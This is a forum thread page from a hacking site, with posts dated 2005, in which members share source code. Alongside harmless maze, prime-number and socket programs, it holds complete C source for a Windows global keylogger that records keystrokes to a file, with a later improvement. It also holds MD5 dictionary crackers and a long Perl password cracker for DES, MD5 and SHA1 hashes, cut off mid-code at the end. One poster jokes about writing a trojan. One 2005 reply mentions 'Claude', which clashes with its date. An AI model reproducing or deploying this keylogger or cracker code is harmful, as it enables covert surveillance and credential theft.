Follow us on Twitter!
Hacking isn't just Computers & Exploits. It's a Philosophy. - Mr_Cheese
Thursday, April 17, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 15
Guests Online: 14
Members Online: 1

Registered Members: 82822
Newest Member: TheBunter
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Page 2 of 3 < 1 2 3 >
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-07-05 12:52
Check it out, I made a keylogger (ultra beta alpha v0.000000121541) that doesn't copy the fucking NewOrder or MSDN examples like all the other kiddies do when they think they made a keylogger!


The .dll code (used for the global logger hook)
[CODE]#include <windows.h>

HHOOK hKeyhook;
TCHAR szBuf[1];
DWORD dwBytes;
HANDLE g_hFile;



BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
/////////////
// This is very beta and I am still working on what
// is actually happening. When logger exe attaches
// Log file is created, on detach, handle close??
//////////////
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
g_hFile = ::CreateFile
("C:\\log.txt", GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;

case DLL_PROCESS_DETACH: ::CloseHandle(g_hFile);
}

return TRUE;
}
LRESULT WINAPI CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {


if( code < 0 )
return CallNextHookEx( hKeyhook, code, wParam, lParam );


///////////
// Process the hook, key messages
// are in wParam, lParam contains
// mostly useless info I had trouble
// implementing and gave up
///////////
else if( wParam == VK_SPACE ) ::WriteFile( g_hFile, " ", 1, &dwBytes, NULL );
else if( wParam == VK_RETURN ) ::WriteFile( g_hFile, "\n", 1, &dwBytes, NULL );

///////////////
// Letters and such
///////////////
else if( wParam > 0x40 && wParam < 0x5B )
{
if( GetKeyState( VK_CAPITAL ) ) {
szBuf[ 0 ] = wParam;
szBuf[ 1 ] = '\0';
::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
}
else
{
szBuf[ 0 ] = wParam;
szBuf[ 1 ] = '\0';
::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
}
}
return CallNextHookEx(hKeyhook, code, wParam, lParam);
}[/CODE]


The .exe (set's up keyhook, etcetra)
[CODE]#define WIN32_LEAN_AND_MEAN
#include <windows.h>

void Error(char s[])
{
TCHAR errBuff[ 1024 ];
wsprintf( errBuff, "%s: %ld", s, GetLastError() );
::MessageBox(NULL, errBuff, "Rawr.", 0);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {


HHOOK hKeyhook;
HINSTANCE hLib;
HOOKPROC hProc;
MSG message;


//////////////
// DLL lib containing our
// filter function for hook
///////////////
hLib = ::LoadLibraryEx
("C:\\keylog\\Debug\\keylog.dll",
NULL, DONT_RESOLVE_DLL_REFERENCES );


if(hLib == NULL)
{
Error("Keylog library could not be loaded"); return 0;
}

///////////////////
// This loads our filter functionhellohhhelo
// that logs all keystrokeshhellohThis Is A Test This Is A TEst
//////////////////
hProc = (HOOKPROC) ::GetProcAddress(hLib, "KeyboardProc");
if(hProc == NULL)
{
Error("Keyhook procedure not located; failed"); return 1;
}


hKeyhook = SetWindowsHookEx(WH_KEYBOARD, hProc, (HINSTANCE) hLib, 0);


/////////////
// Message loop of hell
/////////////
while ( ::GetMessage(&message, NULL, 0, 0) ) {
::TranslateMessage( &message );
::DispatchMessage( &message );
}



::UnhookWindowsHookEx(hKeyhook);
::FreeLibrary(hLib);
return 0;
}[/CODE]

The code looks much better with whitespace and tabbing, but the forums kind of mess that up eh?

Edited by on 24-07-05 12:53
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-07-05 19:56
my md5 cracker required you to input too much data us lazy people like to just copy-paste :D
Code
#!/python24
import md5
e = open("C:/hash.txt", "r")
a = e.readline()
c = 0
b = open("C:/wordlists/wordlist.txt", "r")
b.seek(0)
while ( c != a ):
    x = b.readline()
    c = md5.new(x).hexdigest()
d = open("Password.txt", "a")
d.write("Hash: " + a + " Password: " + x)





as you can see it uses c:/wordlists/wordlist.txt for the dictionary and C:/hash.txt as teh hash source just have the hash in there on the top line and with nothing else :d also fix the tabs >.<


Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-07-05 20:00
made it for quick checking of my md5 cracker this didn't really work but still gives the results don't ask me why.

Code

#!/pyhton24
import md5
a=md5.new(raw_input("What is the password? ")).hexdigest()
print "The hash is " + a
b=open("c:/hash.txt", "w")
b.write(a)
raw_input()





enjoy.


Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-07-05 21:14
SeventhSage wrote:
Oh man... the memories...
Not too sure if I wanted to remember Scheme.
Meh
Yea, but you didn't have Claude.


Author

RE: maze generator


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-07-05 21:47
This code generates a maze that has only one correct solution and each cell is accessable. It's written in C with OpenGL

Code
#include <math.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include "stack.h"
#include <GL/glut.h>

/* definitions */
#define WALL 1
#define NOWALL 0
#define MAXSIZE 128
#define RIGHT 0
#define TOP 1
#define LEFT 2
#define BOTTOM 3

/* for random numbers generator */
#if defined (_WIN32)
 #define SEED srand
 #define RANDNUM rand
 #define RANDMAX RAND_MAX
#else
 #define SEED srandom
 #define RANDNUM random
 #define RANDMAX (1u<<31)-1
#endif

/* global variables */
int horiz [MAXSIZE+1][MAXSIZE];
int verti [MAXSIZE][MAXSIZE+1];

/* functions */
void openInOut();
void initMaze(int m, int n);
void generateMaze ();
bool cellsAvailable(int i, int j, int direction);
void visitCell(int iStart, int jStart);
void displayMaze();
void displayCallback();

void openInOut() {
  /*   Creates a random entrance and a random exit to the maze.
   *   The entrance is on the left side of the maze.
   *   The exit is on the right side of the maze.
   */
  int val = int(Y * rand()/(RAND_MAX+1.0));
  verti[0][val] = NOWALL; // entrance
  val = int(Y * rand()/(RAND_MAX+1.0));
  verti[X][val] = NOWALL; // exit
}

void initMaze(int m, int n) {
  /*   Makes sure the maze isn't too big or too small.
   *   Intializes the stack (in stack.h).
   */
  if(m < 4)
    m = 4;
  if(m > 64)
    m = 64;
  if(n < 4)
    n = 4;
  if(n > 64)
    n = 64;
 
  initStack(m,n);
}

void generateMaze () {
  /*   Starts maze generation.  Sets all walls to on.
   *   Finds a random starting spot in the maze.
   *   Calls visitCell to knock down internal walls.
   *   Calls openInOut to open up an entrance and an exit to the maze.
   */   
  int i;
  int j;
  int iStart;
  int jStart;
  for(i = 0; i < X ; i++) {
    for(j = 0; j < Y + 1; j++) {
      horiz[i][j] = WALL; // all horizontal walls on
    }
  }
  for(i = 0; i < X + 1; i++) {
    for(j = 0; j < Y; j++) {
      verti[i][j] = WALL; // all vertical walls on
    }
  }
 
  /* start somewhere along in the maze */
  iStart = int(X * rand()/(RAND_MAX+1.0));
  jStart = int(Y * rand()/(RAND_MAX+1.0));
 
  /* Now, traverse the maze, and crack down enough walls to make a
     perfect maze */
  visitCell(iStart, jStart);
  openInOut(); /* Open up an entrance and exit to the maze */
 
}

bool cellsAvailable(int i, int j, int direction) {
  /*   Tells if the adjacent cells are available.
   *   Here available means that the cells are within
   *   the maze boundry (the switch statement), and that
   *   no walls of the adjacent cell have been removed.
   */
  switch(direction) {
  case RIGHT:
    i++;
    if(i >= X) // off the right side of the maze
      return false;
    break;
  case TOP:
    j++;
    if(j >= Y) // above the maze
      return false;
    break;
  case LEFT:
    i--;
    if(i < 0) // off the left side of the maze
      return false;
    break;
  case BOTTOM:
    j--;
    if(j < 0) // below the maze
      return false;
    break;
  }
 
  // checking to see if any walls have been knocked down
  if(verti[i][j] == NOWALL ||
     verti[i + 1][j] == NOWALL ||
     horiz[i][j] == NOWALL ||
     horiz[i][j + 1] == NOWALL) {
    return false;
  }
  return true;
}

void visitCell(int iStart, int jStart) {
  /*   Here the maze generation algorithm executes.
   *   See below comments for more detailed description
   *   of how this algoritm works.
   */
  int iNext = iStart;
  int jNext = jStart;
  Cell currentCell; // struct defined in stack.h
  char availableCells[4];
  int availableCount = 4;
  int visitedCells = 1;
  int totalCells = getSize(); // getSize() defined in stack.h
  currentCell.i = iNext;
  currentCell.j = jNext;
 
  while(visitedCells < totalCells) {
    //find all neighbors of CurrentCell with all walls intact 
    //check adjacent cells and see if all 4 of their walls are up
    //   if they are all up then they are available
    //   else not available
    availableCount = 4;
    for(int c = 0; c < 4; c++)
      availableCells[c] = 1;
    if(!cellsAvailable(iNext, jNext, RIGHT)) {
      availableCells[RIGHT] = 0;
      availableCount--;
    }
    if(!cellsAvailable(iNext, jNext, TOP)) {
      availableCells[TOP] = 0;
      availableCount--;
    }
    if(!cellsAvailable(iNext, jNext, LEFT)) {
      availableCells[LEFT] = 0;
      availableCount--;
    }
    if(!cellsAvailable(iNext, jNext, BOTTOM)) {
      availableCells[BOTTOM] = 0;
      availableCount--;
    }
   
    //if one or more found
    if(availableCount > 0) {
      //choose one at random
      int randWall;
      do {
   randWall = int(4.0 * rand()/(RAND_MAX+1.0));;
      } while (!availableCells[randWall]);
      //knock down the wall between it and CurrentCell
      switch(randWall) {
      case RIGHT:
   verti[iNext + 1][jNext] = NOWALL;
   iNext++;
   break;
      case TOP:
   horiz[iNext][jNext + 1] = NOWALL;
   jNext++;
   break;
      case LEFT:
   verti[iNext][jNext] = NOWALL;
   iNext--;
   break;
      case BOTTOM:
   horiz[iNext][jNext] = NOWALL;
   jNext--;
   break;
      }
     
      //push CurrentCell location on the CellStack
      push(currentCell);
     
      //make the new cell CurrentCell
      currentCell.i = iNext;
      currentCell.j = jNext;
     
      //add 1 to VisitedCells
      visitedCells++;
    } else {
      //pop the most recent cell entry off the CellStack
      //make it CurrentCell
      currentCell = pop();
      //set iNext and jNext for next iteration
      iNext = currentCell.i;
      jNext = currentCell.j;
    }
  }
}

void displayMaze() {
  /*   Displays the maze using OpenGL.
   *   Called after walls have been knocked down.
   */
  glMatrixMode (GL_PROJECTION);
  glLoadIdentity ();         
  gluOrtho2D (-0.1, 1.1, -0.1, 1.1);   // Set viewing area
  glScalef(1.0f/(X), 1.0f/(Y), 1);   // Scale maze so it fits
  glClearColor (1.0, 1.0, 1.0, 0.0);   // Make the background white.
  glColor3f (0.0, 0.0, 0.0);         // Draw in black.
  glNewList(1, GL_COMPILE);
  glBegin(GL_LINES);
 
  float i,j;
  /* Draw horizontal lines */
  for(i = 0; i < X; i++) {
    for(j = 0; j <= Y; j++) {
      if(horiz[(int)i][(int)j] == WALL) {
   glVertex2f(i, j);
   glVertex2f(i+1.0f, j);
      }
    }
  }
 
  /* Draw vertical lines */
  for(i = 0; i <= X; i++) {
    for(j = 0; j < Y; j++) {
      if(verti[(int)i][(int)j] == WALL) {
   glVertex2f(i, j);
   glVertex2f(i, j+1.0f);
      }
    }
  }
 
  glEnd ();
  glEndList();
}

void displayCallback() {
  /*   This is the callback function that
   *   gets executed every time the display
   *   needs to be updated.
   */
  glClear (GL_COLOR_BUFFER_BIT);
  glCallList (1);
  glutSwapBuffers ();
}

main (int argc, char* *argv) {
  /*   Program starts here.
   *   Makes sure there are the correct number of args.
   *   Calls initMaze.
   *   Calls the appropriate OpenGL/GLUT init functions.
   *   Calls generateMaze to determine what to be displayed.
   *   Calls displayMaze to display maze.
   */
  if(argc != 3) {
    fprintf(stderr,
       "Usage is %s X Y, where X and Y are integers between 4 and 64\n",
       argv[0] );
    return -1;
  }
 
  int m = atoi(argv[1]);
  int n = atoi(argv[2]);
 
  initMaze(m,n);
 
  glutInit (&argc, argv);
  glutInitWindowSize (600, 600);
  glutInitWindowPosition(100, 100);
  glutInitDisplayMode (GLUT_RGB | GLUT_DOUBLE);
  glutCreateWindow ("Maze by *******");
  glutDisplayFunc (displayCallback);
  generateMaze();
  displayMaze();
 
  glutMainLoop ();
}








Edited by on 24-07-05 21:52
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 30-07-05 07:49
Ah sweet, I cleaned up my logs like a thousand-fold by figuring out the lParam keyboard flags. Adding the line:

[CODE]if( (DWORD) lParam & 0x40000000 ) {[/CODE]

You don't get repeated keystrokes with a WH_KEYBOARD hook. Very nice!

Edited by on 30-07-05 09:36
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 13-08-05 18:35
Prime number finder, its in python, also you need to fix the tabing ththis thign doesnt alow it...
Code

#!/python24
a=raw_input("Find all prime numbers below? ")
print "2"
b=3
c=2
d=open("primesunder"+a+".txt", "a")
d.write("Find all primes below "+a+":\n")
d.write("2\n")
while(int(b)<int(a)):
    while(int(b)>int(c)):
        if(int(b)%int(c)==0):
            b=b+1
            c=2
            continue
        else:
            c=c+1
            continue
    print b
    d.write(str(b)+"\n")
    b=b+1
    c=2
print "Done!\a"
raw_input()
# Wolfmankurd's prime number finder.



This is techniqally pretty slow but practically fast, IE how it finds the primes makes me sick as a mathamatician but it does it fast.




Edited by on 14-08-05 12:55
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 13-08-05 18:41
prime checker also gives oyu the factor making a number not prime.(need to fix the tabs)
Code

#!/python24
a=raw_input("Enter number to see if it's prime: ")
if(int(a)==1):
    print "\aOne is not a prime number, although commonly believed to be one."
if(int(a)==2):
    print "\aTwo is a prime number, the first infact!"
    raw_input()
c=2
while(int(a)!=int(c)):
    if(int(a)%int(c)==0):
        print str(a)+" is not a prime number! It is devisible by\a "+str(c)
        raw_input()
    else:
        c=c+1
        continue
print a+" is a prime number!\a"
raw_input()
# Wolfmankurd's prime number finder.




pretty nifty but the why it works is not pretty...




Edited by on 15-08-05 14:24
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 13-08-05 20:59
sorry if sum1 asked this b4, but how abt the source codes of the done programming challenges ?
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 13-08-05 21:00
My alarm clock:
Code
<?php
$time = date("h:i");//date is
echo $time;//display date
if($time == "12:17")//if time == time to wake up
require ("http://localhost/rec.html");//require a page that loops a noise
else
echo "<meta http-equiv='refresh' content='0;URL=time.php'>";//refresh
?>


Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 14-08-05 06:46
Very Impressive i love the post idea im not much of a programer but i agree i like to get idea i might program up a little trojan /virus y? because i can and its either that or
Private Sub Command1_Click()
MsgBox "hello world , i h8e my self"
End Sub
but it would be for ""educational purposes"wink wink"Smile


Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 14-08-05 08:35
I've been coding a little socket class for my own personal use. I can never use other people classes effectively anyways. So again, I dunno how helpful it is posting the code.

[CODE]/////////
// MAIN.CPP
// Test of my socket class ._.
/////////////
int main(int argc, char **argv)
{
Pills::Socket* server = new Pills::Socket();
std::string buf;
try
{
server->connect(std::string(argv[1]), 80);
std::string header;
header += "GET / HTTP/1.1\r\nHost: ";
header += argv[1];
header += "\r\n\r\n";
server->send(header);
server->recv(buf);
}
catch(Pills::Exception e)
{
MessageBox(0, std::string("Error Code: " + e.what()).c_str(), "Error Encountered", 0);
}
std::cout << buf << "\n\n\tDone.";
return 0;
}[/CODE]




[CODE]///////////
// SOCKET.CPP
// Implements the socket
// member functions
//////////////
#include "server.h"

namespace Pills
{

inline std::string s(unsigned int n) {
std::stringstream ss; ss << " " << n;
return ss.str();
}



int Socket::sCount = 0;
Socket::Socket() :
m_sSock(0), m_sHost(0), m_sTimeOut(0)
{
if(Socket::sCount == 0)
{
WSADATA wsaData;
if (::WSAStartup(MAKEWORD(2,2), &wsaData) == 0)
{
if (!(LOBYTE(wsaData.wVersion) >= 2))
{
if(!(::WSACleanup() == 0))
{
throw Exception("101");
}
throw Exception("102");

}
}
else
throw Exception("103");
}
Socket::sCount++;
}


void Socket::connect(std::string &host, int port)
{
m_sHostName = host.c_str();
m_sPort = port;
m_sHost = ::gethostbyname(m_sHostName.c_str());
if(!m_sHost)
throw Exception("104");



m_sInfo.sin_family = AF_INET;
m_sInfo.sin_addr = *((LPIN_ADDR)*m_sHost->h_addr_list);
m_sInfo.sin_port = htons(m_sPort);



m_sSock = ::socket(AF_INET, SOCK_STREAM, 0);
if(m_sSock == SOCKET_ERROR)
throw("106");

if(::connect(m_sSock, (LPSOCKADDR)&m_sInfo,
sizeof(struct sockaddr) ) == SOCKET_ERROR)
throw Exception("105", WSAGetLastError());
}

int Socket::recv(char* buf,int len, int block)
{
int ret;
if(block == 0)
{
if((ret = ::recv(m_sSock, buf, len,0)) == SOCKET_ERROR)
{
throw Exception("108",WSAGetLastError());
}
else if(ret == 0) return 0;
}
else
{
struct timeval tv;
tv.tv_sec = m_sTimeOut / 1000 ;
tv.tv_usec = ( m_sTimeOut % 1000) * 1000 ;
setsockopt (m_sSock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv, sizeof tv);
if(::recv(m_sSock, buf, len, 0)==SOCKET_ERROR)
{
throw Exception("109",WSAGetLastError());
}
} *(buf+ret) = 0x00;
return 1;
}
void Socket::recv(std::string& buf, int block)
{
char* recvBuf = new char[1024];
for(int ret = 1; ret >= 1;)
{
::ZeroMemory(recvBuf, 1024);
ret = ::recv(m_sSock, recvBuf, 1024, 0);
if(ret == SOCKET_ERROR)
{
throw Exception("113", WSAGetLastError());
}
buf += recvBuf;
}
delete [] recvBuf;
}
void Socket::send(const std::string buffer)
{
if(::send(m_sSock,buffer.c_str(),buffer.size(),0)==SOCKET_ERROR)
{
throw Exception("107",WSAGetLastError());
}
}


};[/CODE]




[CODE]/////////////
// SERVER.H
// Defines our Socket and Exception classes
////////////////
namespace Pills
{


class Exception
{
public:
Exception() : m_pMessage(""), m_lastError(0) {}
Exception
(const std::string& pMessage) :
m_pMessage(pMessage), m_lastError(0){}
Exception
(const std::string& pMessage,int pLast) :
m_pMessage(pMessage), m_lastError(pLast) {}
virtual ~Exception() {}
std::string what()
{
if( m_lastError == 0 )
return m_pMessage;

std::stringstream ss;
ss << m_pMessage << ":" << m_lastError;
return ss.str();
}


private:
std::string m_pMessage;
int m_lastError;
};
class Socket
{
public:
Socket();
virtual ~Socket() {
::closesocket(m_sSock);
m_sSock = 0;
}
void connect(std::string& host, int port);
void recv(std::string& buf, int blocking = 0);
int recv(char* buf, int blocksize, int blocking = 0);
void send(const std::string);
void Close();
void SetTimeout(int ms) { m_sTimeOut = ms;}

private:
//Misc Data
std::string m_sHostName;
int m_sPort;
int m_sTimeOut;
static int sCount;
WSADATA wsaData;
//Socket info
SOCKADDR_IN m_sInfo;
SOCKET m_sSock;
LPHOSTENT m_sHost;
};
class Header
{
public:
Header();
};

};[/CODE]

The forums really mess with the tabbing/spacing, and escapes wierd characters at bad times, and other crazy things. I'll upload it to a webhost so you can get the project files very soon. This was inspired by an HTS challenge and this tutorial: Mad_wizard C++ winsock tutorial
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 15-08-05 11:40
to express numbers as products of they'r eprime factors unbelieveibly helpfull dont include the 1* bit its a glitch.
Code

#!/python
a=raw_input("Enter interger to find the prime factors of: ")
if(int(a)==1):
    print "\aOne is not a prime number, although commonly believed to be one."
if(int(a)==2):
    print "\aTwo is a prime number, the first infact!"
    raw_input()
e=a
c=2
d=1
while(int(a)!=int(c)):
    if(int(a)%int(c)==0):
        d=str(d)+"*"+str(c)
        a=(int(a)/int(c))
        print d
        c=2
        continue
    else:
        c=int(c)+1
        continue
print str(d)+"*"+str(a)+"="+str(e)
print "Done!\a"
raw_input()
##Wolfmankurd's product of prime factors expresser.
##1 added at the begining of asnswers to because of glitch * at the begingin of answer.





fix tabs...


Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 15-08-05 11:42
triangle number generator
Code

#!/python24
a=0
b=1
c=open("Triangle.txt", "a")
c.write("The triangle numbers:\n")
while 1:
   print a
   c.write("-"+str(a)+"\n")
   a=a+b
   b=b+1
##Wolfmankurds triangle number generator.
##does not limit CPU usage





fix tabs, outputs a txt with triangle numbers




Edited by on 22-12-05 00:49
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 15-08-05 11:44
caluctales powers of stuff,
Code

#!/python24
a=raw_input("Find all powers of: ")
b=raw_input("Up untill: ")
c=1
d=open("Powersof"+a+".txt", "a")
d.write("Powers of "+a+" up to "+b+"\n")
while(int(c)!=int(b)):
    e=int(c)**int(a)
    print e
    d.write(str(e)+"\n")
    c=c+1
print "Done!\a"
raw_input()
# Wolfmankurd powers.




fix tabs...




Edited by on 22-12-05 15:28
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 15-08-05 11:47
Generates fibonacci numbers,,, did you know bee's and rabbits generate in this sequence?
Code

#!/python24
b=0
a=1
c=a
d=open("Fibonacci.txt", "a")
d.write("The Fibonacci numbers:\n")
while 1:
    print c
    d.write("-"+str(c)+"\n")
    c=a+b
    b=a
    a=c
## Wolfmankurds Fibonacciator!




fix tabs ;)
out puts to file


Author

RE: Source code

n3w7yp3
Member

Your avatar

Posts: 358
Location: USA
Joined: 19.03.05
Rank:
Moderate
Posted on 18-08-05 04:08
her is a crazy password cracker that i made tonight. it will do several types of attacks. it will crack DES, MD5, and SHA1.

feel free to post comments/suggestions etc..

Code

#!/usr/bin/perl -w

# Written by n3w7yp3

# Declarations.

# the modules that we'll be using:
# use strict;
use Digest::MD5;
use Digest::SHA1;

# some command line arguments:
my $dict = shift || &usage;
my $hash = shift || &usage;

# main
print "Starting Cracker by n3w7yp3...\n";
# if the dictionary does not exist, exit.
if(!(-e "$dict"))
{
        die "$dict does not exist.\n";
}
open(DICT, "$dict") || die "Unable to open $dict.\n";
# if one of your precomputated hash tables does not exist display a warning mesage
if(!(-e "cracker.des"))
{
   warn "The cracker.des precomputed hash table does not exist. Precomputated hash tables will not be used and the cracked hash will not be written in. I highly suggest that you \^C the program and make these files.\n";
}
if(!(-e "cracker.md5"))
{
   warn "The cracker.md5 precomputed hash table does not exist. Precomputated hash tables will not be used and the cracked hash will not be written in. I highly suggest that you \^C the program and make these files.\n";
}
if(!(-e "cracker.sha1"))
{
   warn "The cracker.sha1 precomputed hash table does not exist. Precomputed hash tables will not be used and the cracked hash will not be written in. I highly suggest that you \^C the program and make these files.\n";
}
print "Cracking the hash $hash...\n";
my $count = 0;
# Okay now lets identify the algorith used:
if($hash =~ /^.{32}$/)
{
        &md5;
}
elsif($hash =~ /^.{40}$/)
{
        &sha1;
}
elsif($hash =~ /^.{13}$/)
{
        &des;
}
else
{
   die "Valid hash types are DES\, MD5\, or SHA1.\n";
}

# jump to some subs...
sub usage
{
        die "Usage: $0 <wordlist> <hash>\nWordlist is the wordlist to get words from.\nHash is the hash to crack. Valid hash types are: DES, MD5, and SHA1.\n";
}
sub md5
{
   print "Algorithm used is: MD5.\n";
   print "Checking precomputated hash tables...\n";
   if(!(-e "cracker.md5"))
   {
      warn "The MD5 precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.\n";
   }
   if(-e "cracker.md5")
   {
      open(HTMD5, "cracker.md5") || die "Unable to open the MD5 precomputed hash table (cracker.md5)\n";
      while(defined(my $md5ht = <HTMD5>))
      {
         chomp $md5ht;
         @passwd = (split /:/, $md5ht);
         $count++;
         if($passwd[0] eq $hash)
         {
            print "Password cracked!!!\n";
            print "The password is: $passwd[1]\n";
            print "The password was cracked in $count tries.\n";
            close DICT;
            close HTMD5;
            exit;
         }
      }
      close HTMD5;
      print "The password was not found in the precomputed hash table. Once cracked, it will be added.\n";
   }
   $count = 0;
   print "Starting dictionary attack using the words in $dict.\n";
   while(defined(my $password = <DICT>))
   {
      chomp $password;
      my $new_md5 = Digest::MD5 -> new;
      $new_md5 -> add ("$password");
      my $new_md5_hash = $new_md5 -> hexdigest;
      $count++;
      if($new_md5_hash eq $hash)
      {
         print "Password cracked!!!\n";
         print "The passwword is: $password\n";
         print "Password was cracked in $count tries.\n";
         print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
         open(MD5HT, ">>cracker.md5");
         print MD5HT "$hash\:$password\n";
         close MD5HT;
         close DICT;
         print "Entry added. Exiting...\n";
         exit;
      }
   }
   $count = 0;
   close DICT;
   print "The password was not found in the dictionary attack. Moving onto charset \(a \- zzzzzz\) bruteforce...\n";
   my $password = "a";
   for($password = "a"; $password lt "zzzzzz"; $password++)
   {
      my $new_md5 = Digest::MD5 -> new;
      $new_md5 -> add ("$password");
      my $new_md5_hash = $new_md5 -> hexdigest;
      $count++;
      if($new_md5_hash eq $hash)
      {
         print "Password Cracked!!!\n";
         print "The passwword is: $password\n";
         print "Password was cracked in $count tries.\n";
              print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
         open(MD5HT, ">>cracker.md5");
         print MD5HT "$hash\:$password\n";
         close MD5HT;
         print "Entry added. Exiting...\n";
         exit;
      }
      $password++;
   }
   $count = 0;
   print "Password was not found in charset brute force. Starting numrange brute force \(0 \- 9999999\)...\n";
   $password = "0";
   while($password <= 9999999)
   {
      my $new_md5 = Digest::MD5 -> new;
      $new_md5 -> add ("$password");
      my $new_md5_hash = $new_md5 -> hexdigest;
      $count++;
      if($new_md5_hash eq $hash)
      {
         print "Password Cracked!!!\n";
         print "The passwword is: $password\n";
         print "Password was cracked in $count tries.\n";
         print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
         open(MD5HT, ">>cracker.md5");
         print MD5HT "$hash\:$password\n";
         close MD5HT;
         print "Entry added. Exiting...\n";
         exit;
      }
      $password++;
   }
   die "The password was not found in all the attacks.\n";
}
sub sha1
{
   print "Algorithm is: SHA1.\n";
   print "Checking precomputated hash tables...\n";
   if(!(-e "cracker.sha1"))
   {
      warn "The SHA1 precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.\n";
   }
   if(-e "cracker.sha1")
   {
      open(HTSHA1, "cracker.sha1") || die "Unable to open the SHA1 precomputed hash table (cracker.sha1)\n";
      while(defined(my $sha1ht = <HTSHA1>))
      {
         chomp $sha1ht;
         @passwd = (split /:/, $sha1ht);
         $count++;
         if($passwd[0] eq $hash)
         {
            print "Password cracked!!!\n";
            print "The password is: $passwd[1]\n";
            print "The password was cracked in $count tries.\n";
            close DICT;
            close HTSHA1;
            exit;
         }
      }
      close HTSHA1;
      print "The password was not found in the precomputed hash table. Once cracked, it will be added.\n";
   }
   $count = 0;
   print "Starting dictionary attack using the words in $dict.\n";
   while(defined(my $password = <DICT>))
   {
      chomp $password;
      my $new_sha1 = Digest::SHA1 -> new;
      $new_sha1 -> add ("$password");
      my $new_sha1_hash = $new_sha1 -> hexdigest;
      $count++;
      if($new_sha1_hash eq $hash)
      {
         print "Password cracked!!!\n";
         print "Password is: $password\n";
         print "Password was cracked in $count tries,\n";
         close DICT;
         print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
         open(HTSHA1, ">>cracker.sha1");
         print HTSHA1 "$hash\:$password\n";
         close HTSHA1;
         print "Entry added. Exiting...\n";
         exit;
      }
   }
   $count = 0;
   close DICT;
   print "The password was not found in the dictionary attack. Moving onto charset \(a \- zzzzzz\) bruteforce...\n";
   my $password = "a";
   for($password = "a"; $password lt "zzzzzz"; $password++)
   {
      my $new_sha1 = Digest::SHA1 -> new;
      $new_sha1 -> add ("$password");
      my $new_sha1_hash = $new_sha1 -> hexdigest;
      $count++;
      if($new_sha1_hash eq $hash)
      {
         print "Password Cracked!!!\n";
         print "The password is: $password\n";
         print "Password was cracked in $count tries.\n";
         print "Adding $hash\:$password to the SHA1 precomputed hash table...\n";
         open(HTSHA1, ">>cracker.sha1");
         print HTSHA1 "$hash\:$password\n";
         close HTSHA1;
         print "Entry added. Exiting...\n";
         exit;
      }
      $password++;
   }
   $count = 0;
   print "Password was not found in charset brute force. Starting numrange brute force \(0 \- 9999999\)...\n";
   $password = "0";
   while($password <= 9999999)
   {
      my $new_sha1 = Digest::SHA1 -> new;
      $new_sha1 -> add ("$password");
      my $new_sha1_hash = $new_sha1 -> hexdigest;
      $count++;
      if($new_sha1_hash eq $hash)
      {
         print "Password Cracked!!!\n";
         print "The password is: $password\n";
         print "Password was cracked in $count tries.\n";
         print "Adding $hash\:$password to the SHA1 precomputed hash table...\n";
         open(HTSHA1, ">>cracker.sha1");
         print HTSHA1 "$hash\:$password\n";
         close HTSHA1;
         print "Entry added. Exiting...\n";
         exit;
      }
      $password++;
   }
   die "The password was not found in all the attacks.\n";
}
sub des
{
   my $salt = substr($hash,0,2);
   print "Algorithm is: DES.\n";
   print "Salt is: $salt\n";
   print "Checking precomputated hash tables...\n";
   if(!(-e "cracker.des"))
   {
      warn "The DES precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.\n";
   }
   if(-e "cracker.des")
   {
      open(HTDES, "cracker.des") || die "Unable to open DES precomputed hash table (cracker.des).\n";
      while(defined(my $desht = <HTDES>))
      {
         chomp $desht;
         @passwd = (split /:/, $desht);
         $count++;
